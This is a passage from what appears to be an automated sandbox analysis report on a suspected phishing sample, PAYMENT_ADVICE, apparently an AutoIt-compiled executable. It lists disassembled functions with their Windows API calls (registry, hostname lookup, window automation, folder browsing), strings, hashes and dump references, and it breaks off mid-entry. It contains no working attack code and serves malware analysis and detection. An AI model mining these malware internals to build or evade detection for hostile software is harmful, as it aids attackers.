                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                                              • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                              • API String ID: 1411258926-22481851
                                                              • Opcode ID: a7c3c72f1b78b05d5a8deeb537df775ed029f624b8b7e8dffbe3ebe8db3f9500
                                                              • Instruction ID: b5a9df7422a49eba2d4d1085ec9c50316877ab9f3fdf9ce01c311910e6d79f6b
                                                              • Opcode Fuzzy Hash: a7c3c72f1b78b05d5a8deeb537df775ed029f624b8b7e8dffbe3ebe8db3f9500
                                                              • Instruction Fuzzy Hash: 5841DA72C1462DABCF22EBA4DC85DEDB7B9FF04750F414069E915AB1A1DB316D08CB90
                                                              Function 003C0E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?,?,?,?,?,?,003BFDAD,?,?), ref: 003C0E31
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpper
                                                              • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                              • API String ID: 3964851224-909552448
                                                              • Opcode ID: b3a3acecb730c2e9db847ef1fd28780e9b40c54ca102d5bb9807471018430565
                                                              • Instruction ID: 9a00ae2e7d37060d315e90b973c980a99b478621e51a909da028d119bee59392
                                                              • Opcode Fuzzy Hash: b3a3acecb730c2e9db847ef1fd28780e9b40c54ca102d5bb9807471018430565
                                                              • Instruction Fuzzy Hash: 78415C3650028ACBCF1BEF50D892BEF3764AF21340F154419FC959B2A6DB30AD5ACB60
                                                              Function 0039F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0037E2A0,00000010,?,Bad directive syntax error,003CF910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0039F7C2
                                                              • LoadStringW.USER32(00000000,?,0037E2A0,00000010), ref: 0039F7C9
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              • _wprintf.LIBCMT ref: 0039F7FC
                                                              • __swprintf.LIBCMT ref: 0039F81E
                                                              • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0039F88D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
                                                              • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                              • API String ID: 1506413516-4153970271
                                                              • Opcode ID: c6fc4ee84afc586e0b8d4fc48e605840af564879fd065a4a58ef7bbbfbc70c6b
                                                              • Instruction ID: c676967b94f8f4c4b720691f07f72d65a06cfb32ca1645801d3d8d66eef3068c
                                                              • Opcode Fuzzy Hash: c6fc4ee84afc586e0b8d4fc48e605840af564879fd065a4a58ef7bbbfbc70c6b
                                                              • Instruction Fuzzy Hash: 2A213E3290421EAFCF17AF90CC4AEEE7779BF18300F044465F515AA0A2DB71AA18DB50
                                                              Function 003A52C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                                • Part of subcall function 00347924: _memmove.LIBCMT ref: 003479AD
                                                              • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 003A5330
                                                              • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 003A5346
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003A5357
                                                              • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 003A5369
                                                              • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 003A537A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: SendString$_memmove
                                                              • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                              • API String ID: 2279737902-1007645807
                                                              • Opcode ID: 44750db9bb879232e8efeb8c98eb24503fee9da31d72fcd652b40114f992f895
                                                              • Instruction ID: 484252ee1ad452a8d6c0b46a3db1ccb8b7fb9fd42969710b192f0bb65af8baec
                                                              • Opcode Fuzzy Hash: 44750db9bb879232e8efeb8c98eb24503fee9da31d72fcd652b40114f992f895
                                                              • Instruction Fuzzy Hash: 80119431A5012D79DB26F762CC4AEFF7BBCEBD2B40F000429B511AA0D1EFA02D04C9A0
                                                              Function 003A46B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                                              • String ID: 0.0.0.0
                                                              • API String ID: 208665112-3771769585
                                                              • Opcode ID: 3be238aa2b3c6cda195997250fafc1d60a9c744377b1884c5f57523bf350c277
                                                              • Instruction ID: c1ca54b317f1237c84f903de9ae544267bf96922dacffe001c6b7921b4cb12cf
                                                              • Opcode Fuzzy Hash: 3be238aa2b3c6cda195997250fafc1d60a9c744377b1884c5f57523bf350c277
                                                              • Instruction Fuzzy Hash: BC11D531504114AFCB16AB309C46EEA77BCEB43711F0581B6F555D6091EFB29D818760
                                                              Function 003A4F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • timeGetTime.WINMM ref: 003A4F7A
                                                                • Part of subcall function 0036049F: timeGetTime.WINMM(?,75A8B400,00350E7B), ref: 003604A3
                                                              • Sleep.KERNEL32(0000000A), ref: 003A4FA6
                                                              • EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 003A4FCA
                                                              • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 003A4FEC
                                                              • SetActiveWindow.USER32 ref: 003A500B
                                                              • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 003A5019
                                                              • SendMessageW.USER32(00000010,00000000,00000000), ref: 003A5038
                                                              • Sleep.KERNEL32(000000FA), ref: 003A5043
                                                              • IsWindow.USER32 ref: 003A504F
                                                              • EndDialog.USER32(00000000), ref: 003A5060
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                              • String ID: BUTTON
                                                              • API String ID: 1194449130-3405671355
                                                              • Opcode ID: 49a622af651f7b1490aac3945cd74f8182c4e76cbaf90f0e5cace3bbce4fc272
                                                              • Instruction ID: 0c4af173f652fe2e60c341650bfd648482eb9fd4ec959b021ea9eca28dfab552
                                                              • Opcode Fuzzy Hash: 49a622af651f7b1490aac3945cd74f8182c4e76cbaf90f0e5cace3bbce4fc272
                                                              • Instruction Fuzzy Hash: 24218170205605BFE7139F20FE89E263BAEEB86749F061038F106D52B1CBB19D609F65
                                                              Function 003AD58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • CoInitialize.OLE32(00000000), ref: 003AD5EA
                                                              • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 003AD67D
                                                              • SHGetDesktopFolder.SHELL32(?), ref: 003AD691
                                                              • CoCreateInstance.OLE32(003D2D7C,00000000,00000001,003F8C1C,?), ref: 003AD6DD
                                                              • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 003AD74C
                                                              • CoTaskMemFree.OLE32(?,?), ref: 003AD7A4
                                                              • _memset.LIBCMT ref: 003AD7E1
                                                              • SHBrowseForFolderW.SHELL32(?), ref: 003AD81D
                                                              • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 003AD840
                                                              • CoTaskMemFree.OLE32(00000000), ref: 003AD847
                                                              • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 003AD87E
                                                              • CoUninitialize.OLE32(00000001,00000000), ref: 003AD880
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                              • String ID:
                                                              • API String ID: 1246142700-0
                                                              • Opcode ID: 9ebb7d35aac200d4f0fe2b3873e95cc4aeeac8830b2c6bbb6e62dfa05660cb4f
                                                              • Instruction ID: 491a315195de51b31f6fc0bc004f02903d5183a3cd448daf0bcf02d85191da8a
                                                              • Opcode Fuzzy Hash: 9ebb7d35aac200d4f0fe2b3873e95cc4aeeac8830b2c6bbb6e62dfa05660cb4f
                                                              • Instruction Fuzzy Hash: 22B1FA75A00109AFDB05DFA4C889EAEBBF9FF49304F148469E90ADB261DB31ED41CB50
                                                              Function 0039C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,00000001), ref: 0039C283
                                                              • GetWindowRect.USER32(00000000,?), ref: 0039C295
                                                              • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0039C2F3
                                                              • GetDlgItem.USER32(?,00000002), ref: 0039C2FE
                                                              • GetWindowRect.USER32(00000000,?), ref: 0039C310
                                                              • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0039C364
                                                              • GetDlgItem.USER32(?,000003E9), ref: 0039C372
                                                              • GetWindowRect.USER32(00000000,?), ref: 0039C383
                                                              • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0039C3C6
                                                              • GetDlgItem.USER32(?,000003EA), ref: 0039C3D4
                                                              • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0039C3F1
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 0039C3FE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$ItemMoveRect$Invalidate
                                                              • String ID:
                                                              • API String ID: 3096461208-0
                                                              • Opcode ID: b78ae0ea75e682d74c65d3ff3a96b2a340042ab13007e1ae0047397fac85d229
                                                              • Instruction ID: 4165305b74f439ec945acedc083afcd5280860adf923a89363d4e2b14f6e17ba
                                                              • Opcode Fuzzy Hash: b78ae0ea75e682d74c65d3ff3a96b2a340042ab13007e1ae0047397fac85d229
                                                              • Instruction Fuzzy Hash: B6514E71B10205AFDF19CFA9DD99EAEBBBAEB88710F14852DF515D7290D770AD008B10
                                                              Function 0034201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00341B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00342036,?,00000000,?,?,?,?,003416CB,00000000,?), ref: 00341B9A
                                                              • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 003420D3
                                                              • KillTimer.USER32(-00000001,?,?,?,?,003416CB,00000000,?,?,00341AE2,?,?), ref: 0034216E
                                                              • DestroyAcceleratorTable.USER32(00000000), ref: 0037BCA6
                                                              • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,003416CB,00000000,?,?,00341AE2,?,?), ref: 0037BCD7
                                                              • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,003416CB,00000000,?,?,00341AE2,?,?), ref: 0037BCEE
                                                              • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,003416CB,00000000,?,?,00341AE2,?,?), ref: 0037BD0A
                                                              • DeleteObject.GDI32(00000000), ref: 0037BD1C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                              • String ID:
                                                              • API String ID: 641708696-0
                                                              • Opcode ID: 516e1575af72b03777e960b811bb51c17de735356632651c1f0fc8fb6013d682
                                                              • Instruction ID: 17555bf521f8a46a53e562194c4e03ad711e2f879e9ed45f5393c9efa8414972
                                                              • Opcode Fuzzy Hash: 516e1575af72b03777e960b811bb51c17de735356632651c1f0fc8fb6013d682
                                                              • Instruction Fuzzy Hash: 8B616832100A10DFDB37AF14DA48B2BB7F6FB40316F918529E546ABA60C774B891DF54
                                                              Function 003421A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003425DB: GetWindowLongW.USER32(?,000000EB), ref: 003425EC
                                                              • GetSysColor.USER32(0000000F), ref: 003421D3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ColorLongWindow
                                                              • String ID:
                                                              • API String ID: 259745315-0
                                                              • Opcode ID: be06da1ad8080fd9cea4520ac7167fc424d62250d39c1a8d1fe8a7aef03bd212
                                                              • Instruction ID: be86ec5145b063d98bef77f5641fcbbcc064999d1590c9c8f9d140691787faba
                                                              • Opcode Fuzzy Hash: be06da1ad8080fd9cea4520ac7167fc424d62250d39c1a8d1fe8a7aef03bd212
                                                              • Instruction Fuzzy Hash: 1841C431000554DFDB635F28EC88BBA3BAAEB06331F598265FE659E1E1C771AC41DB21
                                                              Function 003AA8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?,003CF910), ref: 003AA90B
                                                              • GetDriveTypeW.KERNEL32(00000061,003F89A0,00000061), ref: 003AA9D5
                                                              • _wcscpy.LIBCMT ref: 003AA9FF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BuffCharDriveLowerType_wcscpy
                                                              • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                              • API String ID: 2820617543-1000479233
                                                              • Opcode ID: 06bdf1b5f374b6a7d0d4a5da5b0387757bae1b4733c5221a5f61cd8e7b475627
                                                              • Instruction ID: 55b80bd0b453ffb13622150ea97b62481f932e370d0e81e91cc7fc6ba4be47c0
                                                              • Opcode Fuzzy Hash: 06bdf1b5f374b6a7d0d4a5da5b0387757bae1b4733c5221a5f61cd8e7b475627
                                                              • Instruction Fuzzy Hash: AE51BE325087059FC706EF14C892AAFB7E9EF86340F01482DF5959B2A2DB71ED09CA53
                                                              Function 00349837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __i64tow__itow__swprintf
                                                              • String ID: %.15g$0x%p$False$True
                                                              • API String ID: 421087845-2263619337
                                                              • Opcode ID: ce2fa46f5e6e92481cc95bac48c7f87278eb6ea5d10c562fb6c1d2c05aeefb5f
                                                              • Instruction ID: 7650405ea6f02e3db15d176c0e2266ba7a3c5a49eb8e67bf7a39ccd09f1a0660
                                                              • Opcode Fuzzy Hash: ce2fa46f5e6e92481cc95bac48c7f87278eb6ea5d10c562fb6c1d2c05aeefb5f
                                                              • Instruction Fuzzy Hash: 3541C771604609AFDB26DF38D842F7B73E8FF46310F20846EE549DF295EA35A9418B10
                                                              Function 003C7152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003C716A
                                                              • CreateMenu.USER32 ref: 003C7185
                                                              • SetMenu.USER32(?,00000000), ref: 003C7194
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003C7221
                                                              • IsMenu.USER32(?), ref: 003C7237
                                                              • CreatePopupMenu.USER32 ref: 003C7241
                                                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 003C726E
                                                              • DrawMenuBar.USER32 ref: 003C7276
                                                              Strings
                                                              Memory Dump Source
